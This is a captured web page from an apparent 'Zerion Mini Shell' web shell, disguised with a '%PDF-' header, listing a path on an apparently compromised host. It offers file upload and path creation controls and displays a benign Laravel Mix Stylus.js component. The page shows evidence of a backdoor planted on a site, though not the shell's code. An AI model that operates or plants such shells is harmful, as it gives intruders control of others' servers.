%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/3vfm3/node_modules/laravel-mix/src/components/
Upload File :
Create Path :
Current File : /home/ugotscom/3vfm3/node_modules/laravel-mix/src/components/Stylus.js

let Preprocessor = require('./Preprocessor');

class Stylus extends Preprocessor {
    /**
     * Required dependencies for the component.
     */
    dependencies() {
        return ['stylus', 'stylus-loader'];
    }

    /**
     * Register the component.
     *
     * @param {*} src
     * @param {string} output
     * @param {Object} pluginOptions
     * @param {Array}  postCssPlugins
     */
    register(src, output, pluginOptions = {}, postCssPlugins = []) {
        pluginOptions = Object.assign(
            {
                preferPathResolver: 'webpack'
            },
            pluginOptions
        );

        return this.preprocess(
            'stylus',
            src,
            output,
            pluginOptions,
            postCssPlugins
        );
    }
}

module.exports = Stylus;

Zerion Mini Shell 1.0